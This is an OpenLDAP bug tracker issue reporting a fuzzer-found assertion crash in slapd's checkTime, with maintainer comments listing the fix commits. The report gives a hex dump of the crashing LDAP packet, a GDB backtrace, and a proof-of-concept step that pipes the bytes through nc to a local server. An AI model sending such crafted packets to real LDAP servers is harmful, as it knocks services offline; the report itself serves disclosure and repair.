Issue 9454 - A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime)

Status: VERIFIED FIXED

Alias: None

Product: OpenLDAP
Component: slapd (show other issues)
Version: unspecified
Hardware: All All

Importance: --- normal
Target Milestone: 2.5.1
Assignee: OpenLDAP project

URL:
Keywords:

Depends on:
Blocks:

Reported: 2021-02-06 09:06 UTC by phasip
Modified: 2021-09-11 10:11 UTC (History)
CC List: 0 users

See Also:

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2021-02-06 09:06:05 UTC** Description

```
A malicious packet can force OpenLDAP to fail an assertion and crash
slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed.

Packet:
    00000000: 3082 016a 0201 3063 30df df30 0030 0030  0..j..0c0..0.0.0
    00000010: 0030 0030 0030 00a0 8201 3030 0030 0930  .0.0.0....00.0.0
    00000020: 3030 3030 3030 3030 302e 3030 3030 3030  000000000.000000
    00000030: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000040: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000050: 3030 3030 3030 3030 a930 8109 322e 352e  00000000.0..2.5.
    00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973  13.38..{    this
    00000070: 5570 6461 7465 2020 2020 2022 2220 2c69  Update     "" ,i
    00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63  ssuEr rdnSequenc
    00000090: 653a 2222 7d30 3030 3030 3030 3030 3030  e:""}00000000000
    000000a0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000b0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000c0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000d0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000e0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000f0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000100: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000110: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000120: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000130: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000140: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000150: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000160: 3030 3030 3030 3030 3030 3030 3030       00000000000000


GDB output:
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb  6 2021 08:48:29) $
        @3790967905a3:/openldap/servers/slapd
    601e59e1 slapd starting
    [New Thread 0x7fff8b2d3700 (LWP 13)]
    [New Thread 0x7fff8aad2700 (LWP 14)]
    601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389)
    [New Thread 0x7fff8a2d1700 (LWP 15)]
    601e59e6 get_filter: unknown filter type=48
    601e59e6 get_filter: unknown filter type=48
    601e59e6 get_filter: unknown filter type=48
    slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed.

    Thread 3 "slapd" received signal SIGABRT, Aborted.
    [Switching to Thread 0x7fff8aad2700 (LWP 14)]
    __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    50  ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
    (gdb) bt
    #0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    #1  0x00007ffff7dd4859 in __GI_abort () at abort.c:79
    #2  0x00007ffff7dd4729 in __assert_fail_base (
        fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n",
        assertion=0x55555568d363 "!BER_BVISEMPTY( in )",
        file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized out>)
        at assert.c:92
    #3  0x00007ffff7de5f36 in __GI___assert_fail (
        assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )",
        file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808,
```

```
        function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047>
"checkTime") at assert.c:101
    #4  0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0,
        out=out@entry=0x0) at schema_init.c:3808
    #5  0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150,
        in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630)
        at schema_init.c:4095
    #6  0x000055555559df4d in asserted_value_validate_normalize (ad=0x0,
        mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800,
        out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0,
        ctx=0x7fff7c001630) at value.c:153
    #7  0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0,
        ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0,
    --Type <RET> for more, q to quit, c to continue without paging--
        text=text@entry=0x7fff8aad1aa0) at mra.c:198
    #8  0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0,
        ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8,
        text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290
    #9  0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0,
        ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988,
        text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354
    #10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0,
        ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170,
        text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235
    #11 0x00005555555580b6 in get_filter (op=op@entry=0x7fff7c0010f0,
        ber=<optimized out>, filt=filt@entry=0x7fff7c001170,
        text=text@entry=0x7fff8aad1aa0) at filter.c:332
    #12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80)
        at search.c:127
    #13 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0,
        arg_v=0x7fff7c0010f0) at connection.c:1163
    #14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb)
        at connection.c:1314
    #15 0x00005555556711e4 in ldap_int_thread_pool_wrapper (xpool=0x555555799240)
        at tpool.c:1051
    #16 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
        at pthread_create.c:477
    --Type <RET> for more, q to quit, c to continue without paging--
    #17 0x00007ffff7ed1293 in clone ()
        at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95


Testing:
    1. Launch openldap
    (Current public repo)
    docker run -it --net=host bitnami/openldap
    (More recent develop)
    docker run -it --net=host phasip/openldap
    2. Send crashing packet
    echo -en
'\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\
| nc localhost 1389

-- Note --
I had forgotten the fuzzer was running. As only one crash has been found in a while
the fuzzing machine will retire now. I will collect the corpus into
https://github.com/Phasip/openldap_fuzz
```

Howard Chu **2021-02-06 20:52:50 UTC** Comment 1

fixed in master

Quanah Gibson-Mount **2021-02-06 22:21:10 UTC** Comment 2

trunk:

  • 3539fc33
by Howard Chu at 2021-02-06T20:52:06+00:00
ITS#9454 fix issuerAndThisUpdateCheck

RE25:

  • e2acb7c7
by Howard Chu at 2021-02-06T22:09:40+00:00
ITS#9454 fix issuerAndThisUpdateCheck

RE24:

 • 9badb734
by Howard Chu at 2021-02-06T22:19:57+00:00
ITS#9454 fix issuerAndThisUpdateCheck

Format For Printing - XML - Clone This Issue - Top of page